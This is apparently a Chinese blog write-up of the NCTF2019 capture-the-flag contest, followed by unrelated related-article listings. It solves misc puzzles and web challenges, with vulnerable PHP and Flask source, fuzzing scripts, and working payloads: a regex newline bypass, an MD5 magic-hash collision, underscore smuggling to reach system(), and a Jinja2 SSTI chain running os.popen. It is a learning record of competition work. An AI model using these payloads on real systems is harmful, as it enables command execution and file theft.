前言

礼拜五领航杯打的比较累,做不出WEB,D3CTF没用,做了NJCTF的一些题目(懒,睡觉到12点起)

Misc

第一次比赛先去做misc,以前一直做WEB,以后要WEB+MISC做。礼拜六下午做的三道misc

A good idea

binwalk查看有zip,foremost分出来

用steg去比较图片,到sub时出现二维码,扫码得到flag

Pip install

这道题我感觉出的特别好,告诉我们pip安装的安全问题。

找到路径

翻遍了没东西,回过头来。想着setup.py会自动删除吗?不知道,回头看下pip安装原理

从源头下下来,查看setup.py

看到这里就知道pip安装的安全问题

直接base64解密得到flag

What’s this

数据包分析,http筛选

右键复制为hex流

保存为zip,打开一个txt

Base64隐写

网上找脚本跑了一下

NCTF{dbb2ef54afc2877ed9973780606a3c8b}

WEB

用了今天一个下午做出来了三题(菜)。害怕题目环境会关,20.40赶紧写wp记录

Fake XML cookbook

xxe外部实体直接可以打出来,没记WP

Easyphp

这道题是我最喜欢的一道题目,考了几个知识点,从15点做到了17.30,中途走了很多坑。保存了源码,可以给学弟讲讲

  1. <?php
  2. error_reporting(0);
  3. highlight_file(__file__);
  4. $string_1 = $_GET['str1'];
  5. $string_2 = $_GET['str2'];
  6. $cmd = $_GET['q_w_q'];
  7.  
  8. //1st
  9. if($_GET['num'] !== '23333' && preg_match('/^23333$/', $_GET['num'])){
  10. echo '1st ok'."<br>";
  11. }
  12. else{
  13. die('23333333');
  14. }
  15.  
  16. //2nd
  17. if(is_numeric($string_1)){
  18. $md5_1 = md5($string_1);
  19. $md5_2 = md5($string_2);
  20. if($md5_1 != $md5_2){
  21. $a = strtr($md5_1, 'cxhp', '0123');
  22. $b = strtr($md5_2, 'cxhp', '0123');
  23. if($a == $b){
  24. echo '2nd ok'."<br>";
  25. }
  26. else{
  27. die("can u give me the right str???");
  28. }
  29. }
  30. else{
  31. die("no!!!!!!!!");
  32. }
  33. }
  34. else{
  35. die('is str1 numeric??????');
  36. }
  37.  
  38. //3rd
  39. $query = $_SERVER['QUERY_STRING'];
  40. if (strlen($cmd) > 8){
  41. die("too long :(");
  42. }
  43.  
  44. if( substr_count($query, '_') === 0 && substr_count($query, '%5f') === 0 ){
  45. $arr = explode(' ', $cmd);
  46. if($arr[0] !== 'ls' || $arr[0] !== 'pwd'){
  47. if(substr_count($cmd, 'cat') === 0){
  48. system($cmd);
  49. }
  50. else{
  51. die('ban cat :) ');
  52. }
  53. }
  54. else{
  55. die('bad guy!');
  56. }
  57. }
  58. else{
  59. die('nonono _ is bad');
  60. }
  61. ?>

第一层

想fuzz出来的,然后发现踩坑了。必须加上index.php才行

  1. import requests
  2. for i in range(1, 256):
  3. tmp = hex(i)[2:]
  4. if len(tmp) < 2:
  5. tmp = '0' + hex(i)[2:]
  6. tmp = '%' + tmp
  7. url = 'http://nctf2019.x1ct34m.com:60005/?num=' + '23333' + tmp
  8. r = requests.get(url=url)
  9. print i
  10. # print url
  11. if'23333333' not in r.content:
  12. # print r.content
  13. print url

因为踩坑,fuzz没出来,然后想了1个小时,想起来%0a换行绕过。

payload:记得+index.php

  1. http://nctf2019.x1ct34m.com:60005/index.php?num=23333%0a

第二层

这是最耗我时间的一层,也是踩坑,很蠢。这道题跟jactf的audit有点点像,因为strtr的原因,所以印象深刻。踩坑的记录也是fuzz

一开始用的10W(100W,搞错了)

  1. import hashlib
  2. def md5(f):
  3. p = hashlib.md5(f).hexdigest()
  4. return p
  5. for i in range(0, 1000000):
  6. if 'c' in md5(str(i))[0:2]:
  7. if 'a' not in md5(str(i))[2:]:
  8. if 'b' not in md5(str(i))[2:]:
  9. if 'e' not in md5(str(i))[2:]:
  10. if 'd' not in md5(str(i))[2:]:
  11. if 'f' not in md5(str(i))[2:]:
  12. print 'i:' + str(i) + ' md5:' + md5(str(i))

让c替换为0,我是想先找前两位有带C,然后如果有ce,就能凑到0e。而且必须为全数字。

比如0e1123465 ==0e6549848

然后爆不出ce啊,一直就纳闷了。100W都不出来。像转化思路了,一个队友告诉我,那你就继续在大呗。调到1000W尝试

还真有ce开头的。

payload:

  1. http://nctf2019.x1ct34m.com:60005/index.php?num=23333%0a&str1=9427417&str2=QNKCDZO

下次我把分析补齐了,先把wp写出来。

第三层

这一层也很有意思,涉及到之前的Roarctf中的easy_calc,在之前的文章中我介绍了http走私,第一种绕过的方法没有详细讲。

这里就涉及到了php字符串解析特性

通过fuzz

可以绕过限制获得_的有

  1. q%20w%20q
  2. q%20w%5bq
  3.  

payload:

  1. http://nctf2019.x1ct34m.com:60005/index.php?num=23333%0a&str1=9427417&str2=QNKCDZO&q%20w%20q=a;%20ls%20-a

最后的命令执行,限制了cat,这里我用tac,区别就是反向输出。或者用tail都可以。

然后想到了通配符,可以减少字符串长度。

payload:

  1. http://nctf2019.x1ct34m.com:60005/index.php?num=23333%0a&str1=9427417&str2=QNKCDZO&q%20w%20q=tac%20*php
  2.  
  3. http://nctf2019.x1ct34m.com:60005/index.php?num=23333%0a&str1=9427417&str2=QNKCDZO&q%20w%20q=tail %20f*

前者直接页面有,后者是php,所以源代码查看

Flask

这道题很多人写出来,有两个功能点,一个base64,一个md5,在两个功能点尝试了很长时间无果,第三个页面没有注重,一个朋友提醒我第三个页面有问题。

然后开始研究第三个报错页面,buu刷题中flask通常会有ssti,session问题。这里肯定是ssti。

发现

尝试套路{{}}

。。flask环境关了。21.13。那就只能用之前放在doc里面的图片了

直接找的payload打

读一下/proc/self/cmdline,读到/app/app.py,直接读一下源码

  1. #coding=utf-8
  2. from flask import Flask,render_template
  3. from flask import request
  4. import hashlib
  5. import base64
  6. import sys
  7. import urllib
  8. from flask import render_template_string
  9. if sys.getdefaultencoding() != 'utf-8':
  10. reload(sys)
  11. sys.setdefaultencoding('utf-8')
  12. app = Flask(__name__)
  13. @app.route('/')
  14. @app.route('/index')
  15. def index():
  16. return render_template("index.html")
  17. @app.route('/md5',methods=['GET','POST'])
  18. def md5():
  19. string = request.form.get('string')
  20. if string is None:
  21. return render_template('md5.html')
  22. else:
  23. value = hashlib.md5()
  24. value.update(string)
  25. ans = value.hexdigest()
  26. return render_template('md5.html',ans = ans)
  27. @app.route('/base',methods=['GET','POST'])
  28. def base():
  29. string = request.form.get('string')
  30. if string is None:
  31. return render_template('base.html')
  32. else:
  33. ans = base64.b64encode(string)
  34. return render_template('base.html',ans = ans)
  35. @app.errorhandler(404)
  36. def page_not_found(e):
  37. if 'flag' in request.url:
  38. template = '''
  39. <div>
  40. <h1>YOU CAN NOT READ FLAG!</h1>
  41. </div>
  42. '''
  43. return render_template_string(template), 404
  44. if '[' in request.url:
  45. template = '''
  46. <div>
  47. <h1>NO PERMISSION FOR []</h1>
  48. </div>
  49. '''
  50. return render_template_string(template), 404
  51. else:
  52. template = '''
  53. <div>
  54. <h1>This page has not been developed yet</h1>
  55. <h1>%s</h3>
  56. <h1>UNDER DEVELOPMENT</h1>
  57. </div>
  58. ''' % urllib.unquote(request.url)
  59. return render_template_string(template), 404
  60. @app.errorhandler(500)
  61. def error(e):
  62. template = '''
  63. <div>
  64. <h1>NO!SOMETHING WRONG!</h1>
  65. </div>
  66. '''
  67. return render_template_string(template), 500
  68. if __name__ == '__main__':
  69. app.run(host='0.0.0.0')

发现不能读/flag,于是去找了一个执行命令的payload,尝试用通配符读

payload:

  1. /{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat%20/fla*").read()')}

payload文章:

http://flag0.com/2018/11/11/%E6%B5%85%E6%9E%90SSTI-python%E6%B2%99%E7%9B%92%E7%BB%95%E8%BF%87/

其他的web,等WP出来,一起分析学习。去看下EIS,之前还没看EIS的WEB呢。

官方WP:

http://ctf.njupt.edu.cn/298.html

NCTF2019 小部分题解的更多相关文章

  1. ZOJ 2112 Dynamic Rankings(树状数组套主席树 可修改区间第k小)题解

    题意:求区间第k小,节点可修改 思路:如果直接用静态第k小去做,显然我更改一个节点后,后面的树都要改,这个复杂度太高.那么我们想到树状数组思路,树状数组是求前缀和,那么我们可以用树状数组套主席树,求出 ...

  2. SPOJ COT Count on a tree(树上主席树 + LCA 求点第k小)题解

    题意:n个点的树,每个点有权值,问你u~v路径第k小的点的权值是? 思路: 树上主席树就是每个点建一棵权值线段树,具体看JQ博客,LCA用倍增logn求出,具体原理看这里 树上主席树我每个点的存的是点 ...

  3. 洛谷 P1120 小木棍 题解

    每日一题 day54 打卡 Analysis 一,管理员已经在题目中告诉你输入时去掉长度大于50的木棍. 二,想好搜索什么.很明显我们要枚举把哪些棍子拼接成原来的长棍,而原始长度(原来的长棍的长度)都 ...

  4. HDU 3949 XOR (线性基第k小)题解

    题意: 给出\(n\)个数,求出子集异或第\(k\)小的值,不存在输出-1. 思路: 先用线性基存所有的子集,然后对线性基每一位进行消元,保证只有\(d[i]\)的\(i\)位存在1,那么这样变成了一 ...

  5. [NOI2009] 诗人小G [题解]

    诗人小G 题目大意 给出 \(n\) 个长度不超过 \(30\) 的句子,要求你对其进行排版. 对于每一行,有一个规定的行标准长度 \(L\) ,每一行的不协调度等于该行的实际长度与行标准长度差的绝对 ...

  6. bzoj1563: [NOI2009]诗人小G 决策单调性(1D1D)

    目录 题目链接 题解 代码 题目链接 bzoj1563: [NOI2009]诗人小G 题解 \(n^2\) 的dp长这样 \(f_i = min(f_j + (sum_i - sum_j - 1 - ...

  7. 2016女生专场 ABCDEF题解 其他待补...

    GHIJ待补... A.HUD5702:Solving Order Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 32768/3276 ...

  8. CCF-CSP认证 C++题解目录

    持续更新中,记录刷题过程并分享一下小小的心得总结. 试题编号 试题名称 标签 202006-1 线性分类器 | 题解 线性规划 202006-2 稀疏向量| 题解 归并排序思想 202006-3 化学 ...

  9. Codeforces 刷水记录

    Codeforces-566F 题目大意:给出一个有序数列a,这个数列中每两个数,如果满足一个数能整除另一个数,则这两个数中间是有一条边的,现在有这样的图,求最大联通子图. 题解:并不需要把图搞出来, ...

随机推荐

  1. python之面向对象的成员,方法,属性,异常处理

    一.类的私有成员 1. 类中的私有成员是什么? 私有:只有满足一部分条件的才能使用 私有类的属性 私有对象的属性 私有方法 正常状态 class B: school_name = '老男孩教育' de ...

  2. Xamarin.Forms客户端第一版

    Xamarin.Forms客户端第一版 作为TerminalMACS的一个子进程模块,目前完成第一版:读取展示手机基本信息.联系人信息.应用程序本地化. 功能简介 详细功能说明 关于TerminalM ...

  3. Java中for(;;)和while(true)的区别

    while(true): public class Test { public static void main(String[] args) { while(true) { } } } 在?看看汇编 ...

  4. java数据库 DBHelper

    package com.dangdang.msg.dbutil; import com.dangdang.msg.configure.*; import com.mysql.jdbc.Connecti ...

  5. 金三银四科学找工作,用python大数据分析一线城市1000多份岗位招聘需求

    文章每周持续更新,各位的「三连」是对我最大的肯定.可以微信搜索公众号「 后端技术学堂 」第一时间阅读(一般比博客早更新一到两篇) 每年的三四月份是招聘高峰,也常被大家称为金三银四黄金招聘期,这时候上一 ...

  6. Docker Swarm 资源管理

    Docker Swarm Docker Swarm是Docker官方项目之一,是使用SwarmKit构建的Docker引擎内置的集群管理和编排工具,提供Docker容器集群服务,是Docker官方对容 ...

  7. EOS基础全家桶(六)账号管理

    简介 本篇我们会学习最基本的账号相关的操作,包括了创建账号和查询,关于账号资源的操作因为必须先部署系统合约,所以我们会留到后面单独写一篇来讲解. 6-EOS基础全家桶(六)账号管理 简介 账号介绍 账 ...

  8. 分享淘宝时间服务器同步时间接口api和苏宁时间服务器接口api

    最近要开发一款抢购秒杀的小工具,需要同步系统时间,这里分享两个时间服务器接口api给大家: 1.淘宝时间服务器时间接口 http://api.m.taobao.com/rest/api3.do?api ...

  9. dis反汇编查看实现

    dis库是python(默认的CPython)自带的一个库,可以用来分析字节码 >>> import dis >>> def add(a, b = 0): ... ...

  10. 1048 Find Coins (25分)

    Eva loves to collect coins from all over the universe, including some other planets like Mars. One d ...